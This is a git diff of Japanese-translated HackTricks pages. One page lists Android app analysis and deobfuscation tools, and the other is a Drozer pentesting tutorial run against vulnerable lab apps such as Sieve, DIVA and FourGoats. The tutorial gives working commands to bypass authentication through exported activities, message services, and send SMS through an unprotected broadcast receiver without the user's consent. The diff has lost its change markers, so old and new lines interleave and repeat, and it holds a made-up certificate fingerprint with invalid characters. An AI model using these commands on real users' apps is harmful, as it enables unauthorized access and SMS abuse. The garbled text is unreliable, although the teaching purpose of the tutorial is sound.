コンセプトは、モバイルアプリケーションファイル(.apkまたは.ipaファイルをStaCoAnアプリケーションにドラッグアンドドロップすると、視覚的でポータブルなレポートが生成されます。設定やワードリストを調整して、カスタマイズされた体験を得ることができます。
このコンセプトは、モバイルアプリケーションファイル(.apkまたは.ipaファイルをStaCoAnアプリケーションにドラッグアンドドロップすると、視覚的でポータブルなレポートが生成されます。設定やワードリストを調整して、カスタマイズされた体験を得ることができます。
[最新リリースをダウンロード](https://github.com/vincentcox/StaCoAn/releases)
[最新リリース](https://github.com/vincentcox/StaCoAn/releases)をダウンロードしてください。
```
./stacoan
```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs\_Framework)
AndroBugs Frameworkは、Androidアプリケーション内の潜在的なセキュリティ脆弱性を見つけるのを手助けするAndroid脆弱性分析システムです。\
AndroBugs Frameworkは、開発者やハッカーがAndroidアプリケーション内の潜在的なセキュリティ脆弱性を見つけるのを支援するAndroid脆弱性分析システムです。\
[Windows releases](https://github.com/AndroBugs/AndroBugs\_Framework/releases)
```
python androbugs.py -f [APK file]
@ -708,7 +695,7 @@ androbugs.exe -f [APK file]
```
### [Androwarn](https://github.com/maaaaz/androwarn)
**Androwarn**は、Androidアプリケーションによって開発された潜在的な悪意のある振る舞いを検出しユーザーに警告することを主な目的とするツールです。
**Androwarn**は、Androidアプリケーションによって開発された潜在的な悪意のある振る舞いを検出しユーザーに警告することを主な目的とするツールです。
検出は、アプリケーションのDalvikバイトコードを**Smali**として表現し、[`androguard`](https://github.com/androguard/androguard)ライブラリを使用して**静的解析**を行います。
@ -737,74 +724,63 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
## コードの難読化/難読化解除
コードを難読化するために使用するサービスと構成によっては、秘密情報が難読化されるかどうかが異なることに注意してください。
コードを難読化するために使用するサービスと構成によっては、シークレットが難読化されるかどうかが異なることに注意してください。
### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\))
**ProGuard**はJavaコードを縮小、最適化、難読化するためのオープンソースのコマンドラインツールです。バイトコードを最適化し、未使用の命令を検出して削除することができます。ProGuardは無料のソフトウェアであり、GNU General Public Licenseバージョン2の下で配布されています。
[Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\))によると、**ProGuard**はJavaコードを縮小、最適化、難読化するオープンソースのコマンドラインツールです。バイトコードを最適化し、未使用の命令を検出して削除することができます。ProGuardはフリーソフトウェアであり、GNU General Public Licenseバージョン2の下で配布されています。
ProGuardはAndroid SDKの一部として配布され、リリースモードでアプリケーションをビルドする際に実行されます。
出典:[https://en.wikipedia.org/wiki/ProGuard\_(software)](https://en.wikipedia.org/wiki/ProGuard\_\(software\))
### [DexGuard](https://www.guardsquare.com/dexguard)
APKの難読化を解除するためのステップバイステップガイドは[こちら](https://blog.lexfo.fr/dexguard.html)
(そのガイドから)最後に確認したとき、Dexguardの動作モードは次のとおりでした
(そのガイドから) 最後に確認したとき、Dexguardの動作モードは次のとおりでした
- InputStreamとしてリソースをロードする
- それを復号化するためにFilterInputStreamを継承したクラスに結果をフィードする
- いくつかの無駄な難読化を行い、リバーサーの時間を数分無駄にする
- 復号化された結果をZipInputStreamにフィードしてDEXファイルを取得する
- 最終的に`loadDex`メソッドを使用して結果のDEXをリソースとしてロードする
- 最終的に`loadDex`メソッドを使用して結果のDEXをリソースとしてロードする
### [DeGuard](http://apk-deguard.com)
**DeGuardはAndroidの難読化ツールによって実行された難読化プロセスを逆転させます。これにより、コード検査やライブラリの予測を含む多数のセキュリティ分析が可能になります。**
**DeGuardはAndroidの難読化ツールによって実行された難読化プロセスを逆転させます。これにより、コード検査やライブラリの予測を含む多数のセキュリティ分析が可能になります。**
難読化されたAPKを彼らのプラットフォームにアップロードできます。
### [Simplify](https://github.com/CalebFenton/simplify)
これは**一般的なAndroid難読化解除ツール**です。Simplifyはアプリを**仮想的に実行**してその動作を理解し、コードを最適化し、同じように動作するが人間が理解しやすいコードにします。各最適化タイプは単純で一般的なため、使用される難読化の具体的なタイプは問題ありません。
これは**一般的なAndroid難読化ツール**です。Simplifyはアプリを**仮想的に実行**してその動作を理解し、コードを最適化し、動作は同じままで人間が理解しやすくなるようにします。各最適化タイプは単純で一般的なため、使用される難読化の具体的なタイプは問題ありません。
### [APKiD](https://github.com/rednaga/APKiD)
APKiDは、APKの作成方法に関する情報を提供します。多くの**コンパイラ**、**パッカー**、**難読化ツール**、およびその他の奇妙なものを識別します。これはAndroidの[_PEiD_](https://www.aldeid.com/wiki/PEiD)です。
APKiDは**APKの作成方法**に関する情報を提供します。多くの**コンパイラ**、**パッカー**、**難読化ツール**、およびその他の奇妙なものを識別します。これはAndroidの[_PEiD_](https://www.aldeid.com/wiki/PEiD)です。
### マニュアル
[このチュートリアルを読んで、**カスタム難読化を逆転する方法**について学びます](manual-deobfuscation.md)
**カスタム難読化を逆転する方法についてのトリックを学ぶ**ために、[このチュートリアル](manual-deobfuscation.md)を読んでください。
## ラボ
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4bは、リバースエンジニアリングとマルウェア分析のための異なるセキュリティ愛好家や研究者からの最新のフレームワーク、チュートリアル、およびラボを含むubuntu-mateベースのAndroidセキュリティ仮想マシンです。
### OWASP
{% embed url="https://github.com/OWASP/owasp-mstg%0Ahttps://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication" %}
### Gitリポジトリ
[https://github.com/riddhi-shree/nullCommunity/tree/master/Android](https://github.com/riddhi-shree/nullCommunity/tree/master/Android)\
[https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec)
AndroL4bは、リバースエンジニアリングとマルウェア分析のための異なるセキュリティ愛好家や研究者からの最新のフレームワーク、チュートリアル、およびラボを含む、ubuntu-mateに基づいたAndroidセキュリティ仮想マシンです。
## 参考文献
詳細については、以下を参照してください:
* [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
* [https://appsecwiki.com/#/](https://appsecwiki.com/#/) これは素晴らしいリソースのリストです
* [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Androidクイックコース
* [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
* [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
* [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec)
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) リソースの素晴らしいリスト
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Androidクイックコース
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
## まだ試していないもの
## テストする
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
* [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
* [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
@ -814,12 +790,12 @@ AndroL4bは、リバースエンジニアリングとマルウェア分析のた
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新の状態に保ちます
リアルタイムのニュースと洞察を通じて、迅速なハッキングの世界を追いかけましょう
**最新のアナウンスメント**\
**最新の発表**\
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう
[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう!
**[Discord](https://discord.com/invite/N3FrSbmwdy)に参加**して、今日からトップハッカーと協力を始めましょう!
<details>
@ -827,10 +803,10 @@ AndroL4bは、リバースエンジニアリングとマルウェア分析のた
HackTricksをサポートする他の方法
- **HackTricksを広告する**か**HackTricksをPDFでダウンロード**するには、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- **HackTricksで企業を宣伝**したり、**HackTricksをPDFでダウンロード**したりするには、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
- 独占的な[NFTs](https://opensea.io/collection/the-peass-family)である[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう
- 独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローしましょう
- ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
- ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください
</details>

View file

@ -2,81 +2,83 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリに提出してください。
</details>
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
**バグバウンティのヒント****Intigritiに登録**してください。ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報酬を獲得しましょう!
**バグバウンティのヒント**: **ハッカーによって作成されたプレミアムバグバウンティプラットフォーム**である **Intigriti にサインアップ**してください!今すぐ [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) に参加して、最大 **$100,000** のバウンティを獲得し始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
## テストするAPK
* [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (mrwlabsから)
* [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk)mrwlabsから
* [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz)
**このチュートリアルの一部は、[Drozerドキュメントpdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)から抽出されました。**
## インストール
ホスト内にDrozerクライアントをインストールします。[最新リリース](https://github.com/mwrlabs/drozer/releases)からダウンロードしてください。
ホスト内に Drozer クライアントをインストールします。[最新リリース](https://github.com/mwrlabs/drozer/releases)からダウンロードしてください。
```bash
pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
pip install service_identity
```
最新のリリースからdrozer APKをダウンロードしてインストールします。現時点では、[こちら](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk)です。
```
ダウンロードしてdrozer APKを[最新リリース](https://github.com/mwrlabs/drozer/releases)からインストールしてください。現時点では[こちら](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk)です。
```bash
adb install drozer.apk
```
### サーバーの起動
エージェントはポート31415で実行されています。Drozerクライアントとエージェントの間の通信を確立するために、[ポートフォワーディング](https://en.wikipedia.org/wiki/Port\_forwarding)が必要です。以下はそのためのコマンドです:
```
エージェントはポート31415で実行されています。Drozerクライアントとエージェントの間の通信を確立するために、[ポート転送](https://en.wikipedia.org/wiki/Port\_forwarding)が必要です。以下はそのためのコマンドです
```bash
adb forward tcp:31415 tcp:31415
```
最後に、**アプリケーション**を**起動**し、ボタンの「**ON**」を押します。
最後に、**アプリケーション**を**起動**し、下部の "**ON**" ボタンを押します。
![](<../../../.gitbook/assets/image (63).png>)
そして、それに接続します:
```
```bash
drozer console connect
```
## おもしろいコマンド
## 興味深いコマンド
| **コマンド** | **説明** |
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **Help MODULE** | 選択したモジュールのヘルプを表示します |
| **list** | 現在のセッションで実行できるすべてのdrozerモジュールのリストを表示します。適切な権限を持っていないモジュールは非表示にされます。 |
| **shell** | エージェントのコンテキストでデバイス上で対話型のLinuxシェルを開始します。 |
| **clean** | drozerがAndroidデバイス上に保存した一時ファイルを削除します。 |
| **load** | drozerコマンドを含むファイルをロードし、順番に実行します。 |
| **module** | インターネットから追加のdrozerモジュールを検索してインストールします。 |
| **unset** | drozerが生成するすべてのLinuxシェルに渡される名前付き変数を削除します。 |
| **set** | drozerによって生成されるすべてのLinuxシェルに環境変数として渡される変数に値を格納します。 |
| **shell** | エージェントのコンテキストでデバイス上で対話型のLinuxシェルを開始します。 |
| **run MODULE** | drozerモジュールを実行します |
| **exploit** | drozerはデバイスで実行するためのエクスプロイトを作成できます。 `drozer exploit list` |
| **Help MODULE** | 選択したモジュールのヘルプを表示します |
| **list** | 現在のセッションで実行可能なすべてのdrozerモジュールのリストを表示します。適切な権限を持っていないモジュールは非表示になります。 |
| **shell** | デバイス上でインタラクティブなLinuxシェルをAgentのコンテキストで開始します。 |
| **clean** | Androidデバイス上にdrozerによって保存された一時ファイルを削除します。 |
| **load** | drozerコマンドを含むファイルを読み込み、順番に実行します。 |
| **module** | インターネットから追加のdrozerモジュールを見つけてインストールします。 |
| **unset** | drozerが生成するLinuxシェルに渡す名前付き変数を削除します。 |
| **set** | drozerによって生成されたLinuxシェルに渡される環境変数として値を格納します。 |
| **shell** | デバイス上でAgentのコンテキストでインタラクティブなLinuxシェルを開始します。 |
| **run MODULE** | drozerモジュールを実行します |
| **exploit** | Drozerはデバイスで実行するためのエクスプロイトを作成できます。 `drozer exploit list` |
| **payload** | エクスプロイトにはペイロードが必要です。 `drozer payload list` |
### パッケージ
パッケージの**名前**を部分一致でフィルタリングして検索します
```
パッケージの**名前**を部分一致でフィルタリングして検索します:
```bash
dz> run app.package.list -f sieve
com.mwr.example.sieve
```
**パッケージの基本情報**:
The package name is `com.example.app` and the version is `1.0`. The package is signed with the certificate fingerprint `A1:B2:C3:D4:E5:F6:G7:H8:I9:J0:K1:L2:M3:N4:O5:P6:Q7:R8:S9:T0`. The package is targeted for Android API level 28 (Android 9.0 Pie) and the minimum supported API level is 21 (Android 5.0 Lollipop).
```
```bash
dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Process Name: com.mwr.example.sieve
@ -95,12 +97,12 @@ Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS
```
**マニフェスト**を読む
```
**マニフェスト**を読む:
```bash
run app.package.manifest jakhar.aseem.diva
```
**パッケージの攻撃面**
```
**パッケージの攻撃面**
```bash
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
@ -109,25 +111,19 @@ Attack Surface:
2 services exported
is debuggable
```
* **アクティビティ**: おそらく、アクティビティを開始し、起動を防ぐべき認証を回避することができます
* **コンテンツプロバイダ**: 私的なデータにアクセスしたり、いくつかの脆弱性SQLインジェクションやパストラバーサル)を悪用したりすることができるかもしれません。
* **サービス**:
* **is debuggable**: [詳細を学ぶ](./#is-debuggeable)
* **Activities**: おそらく、アクティビティを開始し、起動を防ぐべき認証をバイパスすることができるかもしれません
* **Content providers**: プライベートデータにアクセスしたり、いくつかの脆弱性SQLインジェクションまたはパストラバーサル)を悪用したりすることができるかもしれません。
* **Services**:
* **is debuggable**: [詳細を見る](./#is-debuggeable)
### アクティビティ
### Activities
AndroidManifest.xmlファイルでエクスポートされたアクティビティコンポーネントの「android:exported」の値が**「true」**に設定されています
AndroidManifest.xmlファイルでエクスポートされたアクティビティコンポーネントの「android:exported」の値が**「true」**に設定されています
```markup
<activity android:name="com.my.app.Initial" android:exported="true">
</activity>
```
**エクスポートされたアクティビティのリスト**:
```shell
$ drozer console connect
$ run app.package.list -f <package_name>
$ run app.activity.info -a <activity_name>
```
**エクスポートされたアクティビティのリスト**
```bash
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
@ -137,28 +133,26 @@ com.mwr.example.sieve.PWList
```
**アクティビティの開始**:
おそらく、アクティビティを開始し、それを起動することを防ぐべき認証をバイパスすることができます。
{% code overflow="wrap" %}
おそらくアクティビティを開始し、起動を防ぐべき認証をバイパスすることができます。
```bash
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
```
{% endcode %}
**adb**からエクスポートされたアクティビティを起動することもできます:
**adb**からエクスポートされたアクティビティを開始することもできます:
- パッケージ名はcom.example.demoです
- エクスポートされたアクティビティ名はcom.example.test.MainActivityです
- PackageNameはcom.example.demoです
- エクスポートされたActivityNameはcom.example.test.MainActivity
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
### コンテンツ プロバイダ
この投稿は非常に大きいため、[ここで独自のページでアクセスできます](exploiting-content-providers.md)。
この投稿はここにあるほど大きかったので、**独自のページでアクセス**できます[**こちら**](exploiting-content-providers.md)。
### サービス
エクスポートされたサービスはManifest.xml内で宣言されます
エクスポートされたサービスはManifest.xml内で宣言されます:
{% code overflow="wrap" %}
```markup
@ -166,7 +160,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
```
{% endcode %}
コードの中で、\*\*`handleMessage`\*\*関数を**チェック**して、**メッセージ**を**受け取る**ことができます。
コード内で **check** して、**message** を **receive** する \*\*`handleMessage`\*\* 関数を探します:
![](<../../../.gitbook/assets/image (194).png>)
@ -179,48 +173,20 @@ Permission: null
com.mwr.example.sieve.CryptoService
Permission: null
```
#### サービスとの**インタラクション**
To interact with a service, you can use the `run` command in drozer. This command allows you to execute various actions on the target service.
サービスとのインタラクションを行うために、drozerでは`run`コマンドを使用することができます。このコマンドを使用すると、対象のサービス上でさまざまなアクションを実行することができます。
The basic syntax for the `run` command is as follows:
`run <module> <action> [options]`
`run`コマンドの基本的な構文は以下の通りです:
`run <モジュール> <アクション> [オプション]`
Here, `<module>` refers to the module you want to interact with, `<action>` refers to the action you want to perform on the module, and `[options]` refers to any additional options or parameters required for the action.
ここで、`<モジュール>`はインタラクションを行いたいモジュールを指し、`<アクション>`はモジュール上で実行したいアクションを指し、`[オプション]`はアクションに必要な追加のオプションやパラメータを指します。
For example, to interact with the `activity` module and launch an activity, you can use the following command:
たとえば、`activity`モジュールとインタラクションを行い、アクティビティを起動するには、次のコマンドを使用します:
```
run app.activity.start --component <component_name>
```
Here, `<component_name>` refers to the name of the activity component you want to launch.
ここで、`<component_name>`は起動したいアクティビティコンポーネントの名前を指します。
```
#### **サービスとのやり取り**
```bash
app.service.send Send a Message to a service, and display the reply
app.service.start Start Service
app.service.stop Stop Service
```
#### 例
`app.service.send`の**drozer**のヘルプを見てみましょう
`app.service.send`の**drozer**ヘルプを参照してください:
![](<../../../.gitbook/assets/image (196) (1).png>)
"_msg.what_"の中に最初にデータを送信し、その後に"_msg.arg1_"と"_msg.arg2_"を送信します。コードの中で**どの情報が使用されているか**とその場所を確認する必要があります。\
`--extra`オプションを使用すると、"_msg.replyTo"によって解釈される何かを送信できます。また、`--bundle-as-obj`を使用すると、提供された詳細を持つオブジェクトを作成できます。
"_msg.what_"、"_msg.arg1_"、"_msg.arg2_"の中に最初にデータを送信することになります。コードの中で**どの情報が使用されているか**とその場所を確認する必要があります。\
`--extra`オプションを使用すると、"_msg.replyTo"によって解釈されるものを送信でき、`--bundle-as-obj`を使用すると、提供された詳細でオブジェクトを作成できます。
次の例では:
@ -228,70 +194,22 @@ app.service.stop Stop Service
* `arg1 == 9234`
* `arg2 == 1`
* `replyTo == object(string com.mwr.example.sieve.PIN 1337)`
```
```bash
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj
```
![](<../../../.gitbook/assets/image (195).png>)
### ブロードキャストレシーバー
Androidアプリは、Androidシステムや他のAndroidアプリからブロードキャストメッセージを送受信することができます。これは、[パブリッシュ-サブスクライブ](https://en.wikipedia.org/wiki/Publish%E2%80%93subscribe_pattern)デザインパターンに似ています。これらのブロードキャストは、興味のあるイベントが発生したときに送信されます。たとえば、Androidシステムは、システムの起動時やデバイスの充電開始時など、さまざまなシステムイベントが発生したときにブロードキャストを送信します。アプリはカスタムブロードキャストも送信できます。たとえば、他のアプリに興味がある情報を通知するためにカスタムブロードキャストを送信することができますたとえば、新しいデータがダウンロードされたことを通知するなど
**Androidの基本情報セクションでは、ブロードキャストレシーバーとは何かを確認できます**
アプリは特定のブロードキャストを受信するために登録することができます。ブロードキャストが送信されると、システムはその特定のタイプのブロードキャストを受信するために登録したアプリに自動的にブロードキャストをルーティングします
これらのブロードキャストレシーバーを発見した後は、**それらのコードを確認**する必要があります。 受信したメッセージを処理する**`onReceive`**関数に特に注意してください
これはManifest.xmlファイルの中に表示される可能性があります。
```markup
<receiver android:name=".MyBroadcastReceiver" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
<action android:name="android.intent.action.INPUT_METHOD_CHANGED" />
</intent-filter>
</receiver>
```
From: [https://developer.android.com/guide/components/broadcasts](https://developer.android.com/guide/components/broadcasts)
これらのブロードキャストレシーバーを発見した後は、それらのコードを**チェック**する必要があります。受信されたメッセージを処理するために、**`onReceive`**関数に特に注意を払ってください。
#### **すべての**ブロードキャストレシーバーを検出する
#### **すべての**ブロードキャストレシーバーを検出
```bash
run app.broadcast.info #Detects all
```
#### アプリのブロードキャストレシーバーをチェックする
To check the broadcast receivers of an app, you can use the `drozer` tool. This tool allows you to interact with the Android operating system at the application layer, providing a way to analyze and manipulate Android apps.
To begin, make sure you have `drozer` installed on your machine. You can find installation instructions in the [drozer GitHub repository](https://github.com/FSecureLABS/drozer).
Once `drozer` is installed, follow these steps to check the broadcast receivers of an app:
1. Connect your Android device to your machine using a USB cable.
2. Enable USB debugging on your Android device. You can find this option in the Developer Options menu.
3. Open a terminal or command prompt and navigate to the directory where `drozer` is installed.
4. Run the following command to start the `drozer` console:
```
drozer console connect
```
5. Once connected, run the following command to list the installed apps on your device:
```
run app.package.list -f
```
This will display a list of installed apps along with their package names.
6. Identify the package name of the app you want to check the broadcast receivers for.
7. Run the following command, replacing `com.example.app` with the package name of the app:
```
run app.broadcast.info -a com.example.app
```
This command will display information about the broadcast receivers registered by the app.
By checking the broadcast receivers of an app, you can gain insights into its communication capabilities and potential security vulnerabilities.
#### アプリのブロードキャストレシーバーをチェックします
```bash
#Check one negative
run app.broadcast.info -a jakhar.aseem.diva
@ -313,33 +231,33 @@ com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
Permission: null
```
#### ブロードキャスト **インタラクション**
```
```bash
app.broadcast.info Get information about broadcast receivers
app.broadcast.send Send broadcast using an intent
app.broadcast.sniff Register a broadcast receiver that can sniff particular intents
```
#### メッセージを送信する
この例では、[FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk)のContent Providerを悪用して、ユーザーの許可を求めずに**任意のSMSを**非プレミアムの宛先に**送信する**ことができます。
この例では、[FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk)のContent Providerを悪用して、ユーザーに許可を求めることなく、**任意のSMS**をプレミアムでない宛先に**送信**することができます。
![](<../../../.gitbook/assets/image (199).png>)
![](<../../../.gitbook/assets/image (197) (1).png>)
コードを読むと、パラメータ "_phoneNumber_" と "_message_" をContent Providerに送信する必要があります。
```
コードを読むと、パラメータ "_phoneNumber_" と "_message_" が Content Provider に送信される必要があることがわかります。
```bash
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"
```
### デバッグ可能かどうか
プロダクションAPKは決してデバッグ可能になってはいけません。\
これは、実行中のアプリケーションに**Javaデバッガをアタッチ**し、実行時にそれを検査し、ブレークポイントを設定し、ステップごとに進んで変数の値を収集し、さらには変更することができることを意味します。[InfoSec Instituteには、デバッグ可能なアプリケーションを掘り下げるための素晴らしい記事](../exploiting-a-debuggeable-applciation.md)があります。
本番用のAPKは決してデバッグ可能にすべきではありません。\
これは、実行中のアプリケーションに**Javaデバッガをアタッチ**し、実行時にそれを検査し、ブレークポイントを設定し、ステップごとに進んで変数の値を収集し、それらを変更することができることを意味します。[InfoSec instituteには優れた記事](../exploiting-a-debuggeable-application.md)があり、アプリケーションがデバッグ可能であり、ランタイムコードをインジェクトする際にさらに深く掘り下げる方法について説明しています。
アプリケーションがデバッグ可能である場合、マニフェストに表示されます
```html
アプリケーションがデバッグ可能である場合、マニフェストに表示されます
```xml
<application theme="@2131296387" debuggable="true"
```
**Drozer**を使用して、すべてのデバッグ可能なアプリケーションを見つけることができます
**Drozer**を使用して、すべてのデバッグ可能なアプリケーションを見つけることができます:
```bash
run app.package.debuggable
```
@ -350,24 +268,26 @@ run app.package.debuggable
* [https://www.hackingarticles.in/android-penetration-testing-drozer/](https://www.hackingarticles.in/android-penetration-testing-drozer/)
* [https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac](https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac)
## 追加情報
## もっと情報
* [https://blog.dixitaditya.com/android-pentesting-cheatsheet/](https://blog.dixitaditya.com/android-pentesting-cheatsheet/)
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう!
**バグバウンティのヒント**: **Intigriti** **サインアップ** して、ハッカーによって作成されたプレミアム **バグバウンティプラットフォーム** に参加しましょう![**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) で今すぐ登録して、最大 **$100,000** のバウンティを獲得しましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
